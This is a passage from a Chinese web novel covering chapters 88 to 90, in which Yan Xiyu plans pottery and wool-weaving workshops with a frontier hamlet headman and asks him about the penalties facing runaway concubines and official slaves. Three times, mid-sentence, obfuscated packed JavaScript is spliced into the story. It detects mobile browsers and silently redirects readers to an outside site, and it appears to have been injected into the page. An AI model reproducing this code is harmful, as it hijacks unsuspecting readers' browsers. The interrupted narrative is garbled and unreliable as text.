梁屯长点头:“这我知道,荒漠那边没山没树,只有大草原,夷狄人不懂耕种,他们只放牧养家。” 燕惜妤轻轻一拍炕桌:“就是这么回事,屯长你想啊,他们长年累月靠着牛粪烧火煮饭取暖,得养很多很多的牛,他们那么多的牛,我们可以想办法从他们那里换些牛过来。” “换 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“自己做?”梁屯长用看傻子的眼神看着燕惜妤,“燕姑娘,你也会说咱这边地啥都没有,你又怎么能做的出来。” “为什么做不出来?”燕惜妤用奇怪的目光看着他,“我们边地有人有地,当然能做的出来。” “……有地是没错,”梁屯长总觉得燕姑娘是不是忽然变傻了,“可是有人……燕姑娘你该不是说羿家军吧?” “不是他们,他们得保家卫国,我可不敢指使他们,”燕惜妤连忙摇头,然后低声说,“屯长,我说的是咱这几个屯里的其他住户。” 梁屯长嗤笑了一声:“燕姑娘,你这话……边地的几个屯里,就咱这屯是受灾逃荒过来的灾民,其他几个屯,住着的都是些朝廷流放过来的犯人,他们能做些……” 梁屯长说着说着,忽然没了声音。他皱着眉想了想,眼睛忽然一亮,看着燕惜妤瞪大了双眼:“燕姑娘话里的意思难道是指那些流放的犯人?” “对,屯长也觉得这事可行吧?”燕姑娘半眯着眼说,“屯长,朝廷流放过来的犯人,那可都是不简单的呐。” “对!对!”梁屯长也不知道想到了什么,边点头边说,“那些流放过来的犯人里,全都曾是贵权高门大族的子弟,虽然有些是纨绔,但也有不少有真学识的文人,他们都曾身居高位,有不少还见过咱大承皇帝!” “还有见过咱大承皇帝的?”燕惜妤连跟着惊呼,“那这些人肯定学识渊博,咱边地是真的需要他们,怪不得会被朝廷流放过来。” 梁屯长皱着眉想了一会,然后看着燕惜妤:“燕姑娘,他们虽然都是有学识之人,可他们未必会听我的,不过他们应该藏有银子,要不我们去问他们借银子买牛?” 88. 第88章 “借得了一次,借不了两次,”燕惜妤摇头,“问人借钱,不如自己有钱。”而且借钱买牛之后,估计还钱的是她。 “……话是这样说没错,可是想要赚到银钱是很难的,”梁屯长叹气,“咱这些没权没势的人,也就只能做到有瓦遮头而已,连让家中小儿去私塾都给不起束脩。” “那是以前,现在有这机会总得试试,”燕惜妤倒是不气馁,“我身边有好几个小娃,我总得让他们去识字念书。” “可燕姑娘,我虽然觉得你说的是很好,可做起来很难,”梁屯长皱起眉头,“夷狄人同我们大承商队以物换物,我也了解过他们需要的货物,除了陶器,还有丝绸布匹和糖,其次就是谷子和果子还有各种菜,他们不要肉。” “丝绸布匹我们是没有,但陶瓷我们可以自己烧制,流放下来的人里,应该有人会懂这个,”燕惜妤看着梁屯长,“屯长,你可以去问问他们,他们之前是过惯了好日子的,肯定不会种地,让他们烧陶比种地轻松些。” “我们自己烧陶?”梁屯长震惊地看着燕惜妤,“燕姑娘,你可真是敢想啊。” “这有什么不敢想的,我们先做小作坊,只要能烧出些能用的碗盘,我们就能拿去换夷狄人的羊,”燕惜妤劝梁屯长,“屯长,你不去问又怎么知道他们不会。” “可是,烧陶需要老师父带着,”梁屯长继续皱着眉,“有很多诀窍都是需要师父教的。” “乌州这边在烧陶的小作坊吗?”燕惜妤想了想,换了另一个思路,“屯长,你先去打听打听,乌州界内有没有快经营不下去的烧陶小作坊,我们可以和他们合作。” “合作?”梁屯长有点听不明白燕惜妤话里的意思,“什么才是合作?” “小作坊的老师父教咱们屯里的人烧陶,用他们的作坊,等赚到了银子,和他们平分,”燕惜妤说,“屯长你去打听打听,无论是烧陶的小作坊,还是纺线织布的小作坊,你都去打听一下,咱们可以和他们合作。” “燕姑娘,烧陶这事我是听懂了,”梁屯长不解地说,“可为什么又要找那纺布的小作坊,我们这边一不养蚕,二来夷狄人也不要咱这边的粗布,他们只要丝绸。” “我们不和夷狄人换布匹,我们买不起丝绸,但我们可以用从夷狄人那边换来的羊毛纺成线再织布缝衣,然后卖给大承的百姓,”燕惜妤借机打听乌州如何过冬,“屯长,在边地是怎样渡过雪天的?大家都在家烤火吗?” “也就只能是在家烤火了,”梁屯长叹息道,“家里富裕些的,买羊皮子缝成袄子,家里一般的,就把柳絮和芦花填在袄子里,那些实在是穷的,就去河里提前捞些沙子,等雪天放锅里烧热,然后装在袄子里出门。” “都太苦了,”燕惜妤也跟着叹气,“我这些刚来边地的,别说羊皮子,我是连柳絮和芦花都没有,如果不用羊毛,我们也只能用沙子了。” “燕姑娘,你说的羊毛织成衣,能不能成啊?”梁屯长看着燕惜妤,“这裘皮不是连皮带毛一起披在身上的吗,只用羊毛也能暖和?” “能啊,那些羊不就可以,它们靠着一身羊毛也能在雪天出去找草吃,”燕惜妤撇了撇嘴,“再说了,连皮带毛那多贵啊,一般的人家舍不得买,富贵的人家却又不稀罕,他们只要那些光滑的狐皮兔皮貂皮,羊皮他们看不上。” “你这样说也对,就咱屯里也没几户人家舍得买羊皮子做袄子的,”梁屯长皱着眉说,“看来羊毛纺衣是有些赚头。” “毛羊要是纺布做成衣裳,不只咱这些穷人买得起,那些富裕的人也会买,他们可以买来在屋子里穿着,冷天嘛,毛羊衣裳穿在里头别人看不见,他们会买的,”燕惜妤继续劝说梁屯长,“所以屯长啊,你听我的,先去打听打听,只要能找到小作坊合作,我们就能赚到钱了,到时候屯长就能买几十头牛,把边地的荒地全给开垦了,种上谷子还能和夷狄人换石头。” 燕惜妤说到牛,梁屯长立即就来了精神,但在说到石头时,他又皱起了眉头:“燕姑娘,那些石头可不是普通的石头,那石头里面有值钱的玉。” “这我知道,那些都是玉石,但只看表面看不出来,听说大承的高门大族都喜欢猜石,可他们却不敢来这危险的边地,只能从商人那里买石头,到时候我们和夷狄人换了石头,也卖给那些高门大族的子弟,”燕惜妤半眯着眼睛说,“他们有的是银子,我们就赚他们的。” “……燕姑娘,你好像把事情都给想好了,”梁屯长的眼神有些奇怪,“你带着人过来边地,该不会一开始就打着和夷狄人交换货物的主意吧?” “屯长误会我了,”燕惜妤笑着说,“我只是想来这边种地,要不我干嘛买两头牛回来,我之所以会忽然有这样的想法,主要是因为梁屯长你。” 梁屯长很惊讶:“因为我?” “对,屯长你想啊,我和我身边的人初来乍到人生地不熟的,无论做什么都很难,但梁屯长你不一样,你是屯里的屯长,你生长在乌州,你熟悉这里的一切,和羿家军也认识,我刚才说的事,要是没有屯长你一起做,我自己是做不来的,”燕惜妤这话说的诚恳,“屯长,我们能不能赚到银子就要看屯长你了。” 梁屯长缓缓坐直了身体:“既然你这么说,那我只能尽力一试了。” “我知道屯长一定能做到的,到时候咱屯里的人都要听屯长的安排,”燕惜妤看看仲茂他们几人,“我身边的几位兄长,也能帮到屯长,屯长你可以带着他们一起,人多总能有个照应。” 梁屯长看了眼仲茂他们:“几位仲兄弟都是能干的,我明日就带着他们一起去镇上打听打听。” “那就劳烦屯长了,这事要是能成,屯长当属首功,”燕惜妤笑着说,“我还听说屯长熟知大承律法,这是真的?” 梁屯长问:“略懂一二,燕姑娘为何问这些?” 燕惜妤笑笑:“也没什么,就是这边地有不少流放过来的犯人,他们到底还是犯人,什么事能做什么事不能做,我根本不知道,但屯长你肯定知道,我就是冲着这点,才请屯长帮忙的。” “原来是这样,怪不得你和我说这么多,我方才还纳闷呢,和夷狄人以物换物虽说有些风险,但总能赚到银钱,这能赚银钱的事你大可以让你身边的人去做,左右不过多花些时间,可你却同我说,”梁屯长莫名其妙地松了一口气,“我还以为你是有什么企图呢。” “屯长难道还怕我会坑害你不成,”燕惜妤给梁屯长碗里添水,“屯长大可放心,和夷狄人以物换物这事,危险有我担着,屯长你又不过边卡,没有夷狄人能伤到你。” “你这话我算,咱住在边地的人,只要不过边卡还真就碰不到危险,”梁屯长边喝水边说,“你这姑娘可真是大胆,边卡都敢过去。” “没办法,谁叫我穷呢,”燕惜妤叹息一声,“屯长,你和另外那几个屯长好好说说,从他们屯里找些有本事的人来帮忙,咱们付他们银子,他们总不会和银子过不去。” “那我得好好想想,”梁屯长点点头,“军户肯定是不能找的,流放的犯人里有几户也不能找,其他的人倒是可以。” “屯长,流放的犯人是不是不能走出乌州?”燕惜妤借机问道。 “那当然是,朝廷流放他们到这里,就是不允许他们再回去,除了不能参加科举和不能走出乌州,他们和寻常的老百姓也没什么区别,”梁屯长笑了一声,“要是他们有一日能官复原职,他们就又成了那高门大族,所以有些胆大的人家倒还是敢娶他们的女儿的,不过将女儿嫁给他们的却不多,估计是怕他们给不起聘礼。” “娶流放犯人的女儿,他们有给聘礼吗?”燕惜妤好奇道。 “呵,”梁屯长嗤笑了一声,燕惜妤立即就懂了。 “那既然如此,屯长你就从他们之中找些有本事的来帮忙,咱们出银子请他们,又不是让他们白干活,他们会同意的,”燕惜妤说着说着,借机问出了她一直想知道的事,“不过我还是有些不放心,我要是从夷狄人那边换了牛马羊,他们万一要是给偷走了……屯长你说,我养的马要是被人偷走了,我去找衙门是怎么处理的?” 这话一出口,仲茂他们五人顿时紧张了起来,仲茂之前就是从东家那里偷了匹马然后逃跑了。 梁屯长想了想说:“偷马啊,要是衙差连人带马一起给找了回来,也就是罚些银子了事。” “罚银子,”燕惜妤看看仲茂,又继续问,“那要是马已经被卖掉了呢?” 梁屯长说:“那就赔偿银子,要是小偷没钱赔,就打一顿之后再流放。” 燕惜妤笑出了声:“流放,人已经在边地了,难不成从这个边地再给流放到另一个边地去?” 梁屯长也跟着笑:“咱大承的律法就是这样,只要不伤人杀人,都是赔钱,没钱就打板子然后流放。” “伤人和杀人又会怎样?”燕惜妤问他。 梁屯长说:“伤人除了打板子,那就是充军或贬为奴籍被发卖,杀人就砍头,杀人偿命嘛。” “是该这样,”燕惜妤点点头,然后闲聊似的又问梁屯长,“屯长,我在来边地的路上,看见有些人家把儿女送给官老爷和富户,尤其送女儿的比较多,那些被送出去的姑娘要是逃跑了,后果会怎么样?” 仲茂才刚松了口气,这下又轮到佟槿方紧张了,他阿姐就是被他爹送给官老爷府中当小妾然后被燕惜妤救出来的。 “被家人送出去的女子逃跑了?”梁屯长想了想才说,“这要看有没有契纸。” 燕惜妤瞥了眼佟槿方,佟槿方轻轻摇了摇头,没有什么契纸,当时是直接将他阿姐骗出去的。 燕惜妤假装回想了一下:“应该没有契纸吧,都在路上,一个个饿的不成人样了,哪还能想着写什么契纸,就是直接将人送给了别人。” “没有契纸……”梁屯长想了片刻才说,“要是白送给人当妾,她逃跑时也没有偷走主家的财物,只要她家人能去衙门说清楚,衙门不会管,毕竟不是正式的请媒定礼纳聘,没有涉及到银钱,不算骗财,因为当初人是白送的,没有白纸黑字写了契纸,衙门不会管的。” 佟槿方缓缓睁大了眼睛。 燕惜妤追问:“需要当时送人的那位家人去说清楚吗?还是随便找位家人就可以?” “自然该是她的爹娘去说清楚,毕竟是他们将亲生儿女送出去的,她爹或她娘都可以去说,要是没有养过她的亲戚要将她送人,她反而可以去报官,但要是亲爹娘将人送出去的,需要她爹娘去说,”梁屯长叹气,“那些流放的犯人之中也有将女儿送给衙门官老爷当妾的,真是造孽。” “确 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14982493|151906||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 实是造孽,”燕惜妤也叹息,她扯起嘴角笑了笑,“我当时还看见有人要将自家女儿卖给官老爷家当奴婢的,甚至还听见有人要把自家女儿卖去教坊司,屯长你说,要是卖给了教坊司后逃跑出来,被抓回去会有什么后果?” “教坊司可是属于朝廷的,卖进去就是官奴,从教坊司逃跑出来,衙门可是会全城通缉的,”梁屯长摇摇头,“被抓到的后果不是贬为奴籍,就是送去充为营妓。” 燕惜妤的心“怦怦”地猛跳了两下,被抓到的后果也太严重了。 她咬了咬牙,不死心地追问:“我当时听见那卖女儿的妇人说卖身契是活契,以后想把女儿赎回来,这里头是不是有什么说法?” 罗采春她家人卖她去教坊司的时候,签的就是活契。 “活契那还好些,”梁屯长说,“签了活契的女子虽然也是官奴,但她们有赎身的机会,赔银子也是可以的。” 燕惜妤双手攥在一起,不过她脸上的表情却很平静:“屯长的意思是说,从教坊司里逃跑出来的女子,她家人只要带着卖身契去衙门赔钱,那女子就能得到自由?” “这是自然,她家人卖她时签了活契,就是想等到有钱时再将女儿赎回来,不过她逃跑了,除了赎金还需要额外赔好些银子,如果没银子赔,照样是被贬为奴籍或充为营妓的后果,”梁屯长摇摇头,“她家人既然卖了女儿换银钱,肯定是因为家中无钱,又怎会有银子赔呢。” 燕惜妤松开了攥紧的手,自己端起碗喝了一口水:“这倒也是,要是家中有银子谁舍得卖儿卖女,对了,我还看见那些人牙人老是劝人卖儿卖女,要是人牙子买走的女子被卖去教坊司,逃跑的后果又会怎么样?” “人牙子买的人都是死契,从人牙子手里卖出去的人,逃跑的后果是最严重的,”梁屯长说,“因为衙门为了防止有些人故意卖儿卖女,等收了银子之后再让儿女逃跑,衙门为了防止此类事情发生,凡是被人牙子卖出去的人敢逃跑,都是重罚。” 燕惜妤皱着眉开始喝水,沉默了一会儿才说:“可若是那人牙子把拐来的女子卖去教坊司呢?她难道不该逃跑吗?” “也是会有这样的事情发生,但需要拿出被拐家人寻找子女的证据,”梁屯长摇摇头,“人牙子居无定所地去买人,把在这个州县买的人卖去另一个州县,很难找到证据。” 在旁边默默听着的佟槿方忽然开口:“难道说被拐的人就活该被拐吗?被送去当妾的人就活该被送人吗?” 燕惜妤抬眼看他,然后对梁屯长说:“屯长,他还只是个小郎,你不要同他计较。” 桑大娘也陪笑着说:“是啊屯长,他那些话,你可千万别往心里去,他才几岁啊,哪里懂得这人世间的苦楚。” 梁屯长并不生气,他摇摇头:“他这样也好,若是经历了苦楚倒是会失了这份至诚。” 佟槿方在心里冷哼了一声,他经历的苦楚那可太多了,整整十年。 “不愧是屯长,当真是坦荡,”燕惜妤笑着又给梁屯长碗里添水,“屯长喝水。” 梁屯长笑着喝了碗里的水,然后说:“今夜听燕姑娘说了这番话,我明日可就当真按照燕姑娘说的去做了。” “那就先谢过屯长了,”燕惜妤点点头,“只要这事能成,日后乌州界内的烧陶坊和纺布坊我就交与屯长和我五位兄长了。” “好,为了能给屯里多买几头耕牛,我就舍去这张老脸出去求人了,”梁屯长站了起来,“那我这就先回去了,不知院子里绑着的那两头牛犊……” 佟槿方和仲茂他们立即瞪向梁屯长。 燕惜妤笑着说:“屯长若能找到烧陶和纺布的小作坊,我到时送一头牛犊给屯长。” “哎那好,就这么说定了,你们歇着吧,不用送我了,”梁屯长很是遂心地走出了屋。 燕惜妤站起来看向仲茂说:“帮我送送梁屯长。” 仲茂沉默地走了出去,过了一小会儿,又恨恨地走了进来,很是气愤地说:“说来说去,还是惦记着咱们刚买回来的牛。” “只要他能办成事,我们送他一头牛犊也不亏,”燕惜妤手指在炕桌上点了点,“梁屯长是土生土长的乌州人,他能在边地当上屯长,还是有点儿本事的,日后很多事都需要他帮忙,不给他许一点好处,他不会用心的。” 这时“吱呀”一声,里屋的门打开了,罗采春和佟瑰方一起从里面走了出来。 燕惜妤看她们俩人的脸色,就知道她们听见了刚才她问梁屯长的那些话。再看看仲茂,同样是一脸凝重。 他们这一行人,有偷了马逃跑的,有被亲爹送给人当小妾逃跑的,也有被卖去教坊司逃跑的。 按照梁屯长刚才回答她的那些话,她自己的问题才是最难解决。 仲茂偷马,赔钱就没事。 罗采春她家人卖她时签的是活契,照样是赔钱就没事。 至于佟瑰方,虽然是被她亲爹给送了人,但现在找到了她的亲娘,也算是有了办法。 唯有自己,虽然崔掌事是没办法再来找麻烦,但自己终究是逃出来的,万一东窗事发,后果不是贬为奴籍就是充为营妓。 可现在暂时也没有别的办法,只能先赚钱再说。 燕惜妤看看屋里的众人,释怀地笑着说:“我们努力赚钱。” 89. 第89章 次日天还黑着,梁屯长已经摸黑找了过来。 燕惜妤还迷迷糊糊地睡着,仲茂的声音在院子里响起。 “我带着仲三同梁屯长一起去镇上,罗姑娘你待会同燕姑娘说一声。” 接着是罗采春的声音:“好,我阿妹昨夜里说了,让你们牵上马,坐板车过去,她还说让你放心大胆地出门,不就是一匹马,赔得起。” 燕惜妤听着听着,又睡了过去,等再睁开眼睛时,天已大亮。 院子外是小满儿欢快的笑声,她一早看见小羊羔就不要小鹿了。这会儿她抱着小羊羔,小玉彩抱着小鹿,那大灰兔被关着,它太会用后腿踹人了,桑大娘不准几个小孩再和兔子一起玩。 燕惜妤坐在炕上眯着眼睛喊:“三姐,来帮我绑头发吧。” 罗采春笑着从外面走进来:“阿妹睡醒了?” “醒了,小满儿笑的那么开心,我得去瞧瞧,”燕惜妤伸着脑袋说,“三姐,帮我绑头发。” “你呀,什么都会,就是自己不会梳发,”罗采春拿着木梳为燕惜妤梳发,“总是梳个圆髻,也不怕别人笑话你。” “谁笑我,我就打谁,”燕惜妤闭着眼睛说,“我倒要看看是他们的牙硬,还是我的拳头硬。” 罗采春笑着摇摇头,不过她也不劝燕惜妤,因为她知道,这一路若不是燕惜妤有着好身手,他们这一行人也走不到这边地。 等罗采春帮燕惜妤梳好发,她就端着个小木盆去后院洗脸。 旁边就是仲茂他们住着的屋子,燕惜妤看了看,两匹马和两头牛都不在,估计是被仲二牵着出去吃草了。 “燕姐姐,看小羊!”小满儿个小,但能抱起小羊羔,双手举着要给燕惜妤看。 “看到了,你放地上,”燕惜妤脸上还滴着水,她用湿手点了点小满儿的鼻尖,“什么都不怕,你当心曾祖母又拎柳条来找你。” 小满儿抱着小羊羔转身跑了,边跑还边说:“我跑快。” 她跑得快,桑大娘确实撵不上她。 小玉彩和她差不多岁数,但小玉彩就没小满儿那么愿意说话。 不过小玉彩有了小鹿,看起来也很开心。 唯有佟槿方一副忧心忡忡的样子。 吃饭的时候正好只剩他们俩人,于是燕惜妤问他:“我说佟槿方,你怎么这表情?” 佟槿方唉声叹气:“你昨夜问梁屯长的话……你是想帮我阿姐问的吧?” “是,我总要知道有没有能解决的办法,否则一直这么提心吊胆的,搁谁心里都难受,”燕惜妤也不隐瞒,她确实想把事情一件件解决掉,如果不解决,她身边的人永远都害怕出门,他们怕被衙差捉去坐牢。 “可是问了也是白问,”佟槿方摇着头说,“我是不敢指望佟家人会帮我阿姐。”他爹当初既然将女儿送了出去,现在又怎么可能又去问人家要回来。 燕惜妤想到了苗月,意有所指地说:“会有办法的。” “没有办法,”佟槿方垂着头,“我阿娘……只能我爹去找衙门说清楚,可是他不会去的,再说梁屯长的话我也不怎么信,人跑了,衙门怎么可能不管,衙差要是找到我阿姐,定会将她捉去坐牢的。” 燕惜妤放下手里的筷子:“我倒是信梁屯长说的话,人和货物不同,送人本来就不对,那些被送出去的女子之所以不逃,是因为她们回不去娘家,逃了之后在外面独自也有可能会碰见坏人,所以被送出去的人才不会逃。但要是真逃了,衙门可能真的管不着,她们是被白送出去的,而养大她们的是她们的爹娘,要是有谁的爹娘去把人要回来,对方不放人,反而还可以报官。” 不过也要看那户人家的身份地位,就像佟瑰方被送去的是知县府邸,普通的老百姓哪里敢去找知县官老爷要人。 “就算你说得对,”佟槿方冷笑了一把,“可我爹……根本指望不上。” “没指望你爹,我会想办法的,你别急,”燕惜妤用眼神示意佟槿方吃饭,“先吃饭,这件事交给我。” “交给你?”佟槿方用怀疑的眼神看着燕惜妤,“我阿姐这事难道你也能解决?” “或许吧,反正你也没有别的办法,”燕惜妤继续拿起筷子,“你信我总是没错。” 佟槿方信她,因为她确实每件事都能解决。 但关于她阿姐逃跑的这事,佟槿方想不出燕惜妤会用什么办法帮忙解决,难道说直接把他爹绑去衙门? 佟槿方觉得燕惜妤真有可能会做出这种事。 今日屯里也很热闹,因为燕惜妤买回了两头牛犊。 别的人家一头牛都没有,她却一下子就买回来两头牛,于是大家都来看她买的牛。 人太多,院子实在是挤不下,燕惜妤干脆叫仲二把两头牛都牵到巷子外去,让人在院子外看牛。 “这牛看着倒是不错,四蹄结实有用,牛尾巴也粗。” “这牛看着也不小了,也能下地犁田了。” “那可能要订几张木犁,不晓得她会找谁订木犁?” “那估计还是找老许,她家有事总找梁屯长,梁屯长准让她找老许。” “哎你说,她家人口这么多,怎还有银子买两头牛呢?” “你又知人家没银子,人家那不是还有姓仲的五兄弟吗,看着是能干活的。” “仲家五兄弟是能干活,可剩下的老的老,小的小,全是拖累。” “瞧你这话说的,你家不也上有老下有小,你有种将他们扔山上去喂狼,也就不会再拖累你了。” “你这人怎的这样说话?!” “我这人就这样说话!” 隔着木栏栅院门,院子里的人把外面的吵架声听的一清二楚。 “……怎的就吵起来了?”罗采春皱着眉往外看了几眼,“几个小的还在外头,他们这样吵,该把小娃娃吓到了。” “没事,吓不到,”桑大娘却摆手说,“吓到一次,日后就不敢再乱跑了。” “这天都快黑了,我大哥和三弟怎么还没回来?”仲二在院子里来回踱步,“难道他们要在外头住一宿?” 仲五这时也说:“虽然走路是远,可他们这次出门是坐板车出去的,今日应当能回来。” 佟槿方从屋里出来,脸色有些难看:“这些人怎的在人家门前吵个不停?” “说是看牛,结果吵起来了,”仲五摇头,“这些人也是奇怪,不稀罕马,却稀罕牛。” 桑大娘坐在屋檐下边缝衣裳边:“牛能下地犁田,马不能,而且边地有羿家军驻扎,咱屯里的人经常能看见马,再说马比牛更贵,他们咬咬牙省几年说不定能买头牛,可是马匹却不是他们能买的,所以他们不羡慕别人家有马,反而是稀罕别人家有牛。” “不稀罕有马,却稀罕有牛?”佟槿方不懂那些人的想法,“我倒是稀罕有马。” “各人想法不同,”燕惜妤正想说话,巷子外忽然传来了梁屯长的声音,“你们全堵在这巷子里做什么?” “屯长你回来了?” “屯长你打哪儿回来?” “怎的这板车上空空的,不是去镇上买东西吗?” “都散开,堵着路像什么话!”梁屯长喊了一声。 “仲二,去把牛牵去山脚下,”燕惜妤对仲二说,“随便将人也都带过去,别挡着路。” “好嘞,”仲二走出院子,一手牵一根绳子,“走,我带你们去吃草。” “哎哎,你怎把牛牵走了?” 人群散了,仲茂牵着马拉着板车停在院子外,梁屯长比他和仲三先一步走进来。 “燕姑娘,我打听了一日,还真是知道了一些事。” “屯长先坐,”燕惜妤给梁屯长递水,“先喝口水再说。” 梁屯长端着碗边喝水边说:“我今日找到了一家烧陶的小作坊,东家姓林,只会烧些碗盆罐,样式倒还算可以,就是比别家的要厚上不少,看着笨重,拿在手里也重,没舁州的陶瓷那般轻和薄,摆在一起特没台面,所以没多少人会买,只一些穷苦人家会买,但这些碗盆就算磕了一个口子也还能用,所以他家陶坊入不敷出,不打算再烧陶了。” 燕惜妤一听,立即问:“烧陶的老师傅呢?还在陶坊里吗?” “陶坊的东家让他们回去了,但我打听过,他们就是咱乌州人,只要咱出银子,他们应该会来,”梁屯长在意的是另一件事,“但那陶坊的东家不愿意租出他那陶坊,他说只卖出去,要八十多两银子。” “一个小陶坊,要八十两银子!”桑大娘摇头说,“贵了。” 既然桑大娘说贵,那肯定就是贵了。 “我也觉得贵,”仲茂在旁边说,“我看过那陶坊,很小,乌漆麻黑的,只有石砖砌成的一个小陶瓷窑,看着不大,咱自个儿买石砖都用不到三两银子。” 燕惜妤点点头:“嗯,那纺布房有没有找到?” “纺布的小作坊没找到,那些纺布房和绣房都是一个东家,没可能从他们手中租到纺布的作坊,”梁屯长摇摇头,“不过我家婆娘咋日夜里同我说过,咱屯里就有不少之前在镇上纺布的妇人,要是燕姑娘有需要,咱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“好,这两件事我会尽快做好,”梁屯长说着站了起来,“那我先回去了,燕姑娘坐着,不用送了。” “有劳屯长了,”燕惜妤看向仲茂,“你送送屯长,明日继续同屯长一起做事。” 仲茂几人连忙将梁屯长送了出去。 佟槿方在旁边听了全程,忽然开口说:“你只在家里坐着动动嘴皮子,所有的事都让梁屯长去做……” “怎么?”燕惜妤看他,“你也想跟着仲茂一起出门?” “我、我是说不知该说梁屯长心大,还是该说你这人有能耐,”佟槿方有些急躁地说,“你……算了,我不说了。” 燕惜妤看着他笑了一下:“我知道你想说什么,你是觉得我只用说的,就把梁屯长指使的三天两头往外跑,怕我自己不亲自去做,梁屯长会把事情给搞砸,对吧?” “你知道你还总让他去做,我也不知道他是怎么想的,要是换成我,我不会信你说的一个字,你只是用嘴说……说得是好听,但我总觉得你在忽悠人,”佟槿方边说边往外挪动脚步,他估计是怕燕惜妤会打他。 燕惜妤没打他,仍然坐在炕上:“我怎么就只是说说了,我带回了两头头。” “就两头牛,梁屯长又不是没见过牛,”佟槿方不解地说,“难道他只是因为你带了两头牛回来,所以才信你说的那些话。” “你坐着,我又不会打你,站那么远做什么,”燕惜妤伸手指了指对面的位置,“梁屯长是土生土长的乌州人,他在边地做了十多年的屯长,他知道大承这边的人想要从夷狄那边带回两头牛有多难,夷狄人日常靠牛粪烧火煮饭取暖,所以他们极少会和大承的商队以物交换牛和马,他们只换羊皮子和石头,偶尔还会换些活羊。” “原来是这样,要不我怎么觉得奇怪呢,”佟槿方恍然大悟的表情,“我就说你怎么在家坐着动动嘴皮子,他一个屯长就心甘情愿按照你说的话跑来跑去,敢情他知道些我们不知道的内幕。” “否则你真以为我只是动动嘴皮子,的,他就愿意带着仲茂去做事,”燕惜妤笑笑,“不要把别人都想成傻子,尤其是梁屯长,他所图不小。” “那你还让他去,你难道不怕他在背后坑你?”佟槿方担心地说,“你也不一起去看看,仲茂他们几个啥都不懂,被骗了都不知道。” “还没到时候,这才刚开始,”燕惜妤右手撑着下巴,懒洋洋地说,“等他把我说的所有事情都做好,到那时才是关键。” “……我总觉得你这个表情像是小狐狸,”佟槿方瞥着燕惜妤,“你快别笑了,让我心里瘆得慌。” 90. 第90章 梁屯长带着仲茂和仲三连出去了两日,总算是把会烧陶的老师傅说通了,愿意带着徒弟来边地。 他要带人过来,梁屯长需要安排人家的住宿,好在屯里有空房子,否则燕惜妤还要出钱给人家盖房子。 至于羊毛纺布的事,反而没那么顺利。 屯里的妇人虽然会纺布,但她们却缺少可以织布的机杼。 梁屯长按照燕惜妤说的去问了流放过来的犯人,还真有人懂自制机杼,但那人却提出了条件。 梁屯长没办法做主,于是他带着人过来找燕惜妤,有不少流放的犯人也跟了过来看热闹。 “燕姑娘,这人是来自封州的杨元正,他会造那机杼,”梁屯长指着一个衣裳破旧,面露倦容的中年男人说,“但他有条件。” 燕惜妤对杨元正说:“什么条件,你先说来听听。” “这位姑娘姓燕?”杨元正的眼神有一刹那的错愕,然后才拱手道,“在下杨元正,那机杼我确是会造,梁屯长说燕姑娘要开布坊,燕惜妤若想让我造机杼,我想让我家人都能在布坊里帮忙,且一直都留在布坊,无故不可赶我家人离开。” 他这是想让他家人在布坊里赚钱。 燕惜妤没问其他的问题,只问他:“你家有几口人?” “十六人,其中有三个稚儿,其余十三人都可以在布坊做活,”杨元正又拱了拱手,“我家人都不是懒惰之人,布坊的活计他们都可以学。” 他也还算老实,最起码没说他家人什么都懂。 燕惜妤没立即回答,梁屯长凑过来低声说:“这杨家来自封州,封州可是皇都。” 梁屯长这是想着万一有一日杨家人若还能重回封州,他今日帮了杨家,到时也能得到些好处。 “那屯长你觉得布坊里有什么事能安排给他家人?他家一下子来十三个人,这人数有点多了,”燕惜妤摇了摇头,看着杨元正说,“我那小布坊连影都没见着,没办法安排你家人在里边做活。” “那燕姑娘是不打算要那纺织机杼了?”杨元正大概也猜到这事没那么容易,脸上没什么焦急的表情,“燕姑娘,机杼虽说看似普通,可若不通内里诀窍的人是造不出来的。” “这样吧,你带你家男子帮我造机杼,我付你们工钱,等机杼造出来开始纺布时,你家可以来两个女子,”燕惜妤不可能让一个家族的人在一起做事,她要防止那些人抱团,否则仲茂没办法管理,“你觉得这样可以接受吗?” 杨元正没说话,低头在思索着。 “你也知道我还打算开设陶坊,到时你家可以让两名男子去陶坊做事,”燕惜妤想留下杨元正,因此整个边地只有他会造纺织机杼,“而你可以一直留在布坊,这样你家就有五人有能赚钱的营生了,虽然不是全部家人都能赚到钱,但你要知道你们出不了边地,一家十六人能有五人有正经赚钱的营生已经很难得了。” 燕惜妤边说,边扫了一眼院子处围着的那些人。这些人跟着梁屯长和杨元正过来,这时一个个的都伸长着脖子,竖着耳朵在偷听。 他们家开着门,这屋子又不隔音,外头的人多多少少能听见一些说话的声音。 杨元正也侧头看了眼外面,最后终于点头:“好,那就按照燕姑娘所说的。” “这才对嘛,”梁屯长立即眉开眼笑,“咱都住在边地,各有各的难处,互相帮助理所应当。” “嗯,那这事就这么说好了,”燕惜妤看着梁屯长说,“屯长,布坊造机杼的事就劳你带着仲茂一起做,需要多少银子买材料,还有杨大叔他们每日的工钱是多少,你想好了再告诉我。” “这造机杼估计要些银子,”梁屯长说,“工钱倒是不多,若不包饭食,每人一日是二十三文钱。” “先造出一台机杼,如果能织布,再多造几台,”燕惜妤看着杨元正,“杨大叔,若你造出的机杼织不了布,那我们先前说的就算不得数。” 杨元正要是造不出机杼,他的家人别说在布坊工作,就连陶坊也不能去。 